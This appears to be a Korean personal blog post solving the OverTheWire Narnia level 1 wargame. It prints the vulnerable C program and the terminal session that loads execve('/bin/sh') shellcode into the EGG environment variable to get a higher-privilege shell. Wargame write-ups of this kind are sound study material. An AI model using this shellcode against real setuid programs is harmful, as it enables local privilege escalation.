오예
l\narnia1@melinda:~$ cd /narnia
narnia1@melinda:/narnia$ ls
narnia0 narnia1 narnia2 narnia3 narnia4 narnia5 narnia6 narnia7 narnia8
narnia0.c narnia1.c narnia2.c narnia3.c narnia4.c narnia5.c narnia6.c narnia7.c narnia8.c
narnia1@melinda:/narnia$ cat narnia1.c
#include <stdio.h>
int main(){
int (*ret)();
if(getenv("EGG")==NULL){
printf("Give me something to execute at the env-variable EGG\n");
exit(1);
}
printf("Trying to execute EGG!\n");
ret = getenv("EGG");
ret();
return 0;
}
narnia1@melinda:/narnia$ export EGG=`perl -e 'print "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"'`
narnia1@melinda:/narnia$ ./narnia1
Trying to execute EGG!
$ whoami
narnia2
$ id
uid=14001(narnia1) gid=14001(narnia1) euid=14002(narnia2) groups=14002(narnia2),14001(narnia1)
$ cat /etc/narnia_pass/narnia2
$
처음에 에그라 해서 어 음 에그쉘?(본적만 있고 써본적이 엄슴) 이랬는데 잘읽어보니 이 프로그램은 EGG환경변수에 저장되어있는걸 무조건 실행합니다. 리턴어드레스를 EGG가 있는곳으로 바꾸니까여.
끗
'STUDY > overthewire' 카테고리의 다른 글
bandit [1~7] (0) | 2014.05.17 |
---|---|
narnia 0 (0) | 2014.05.16 |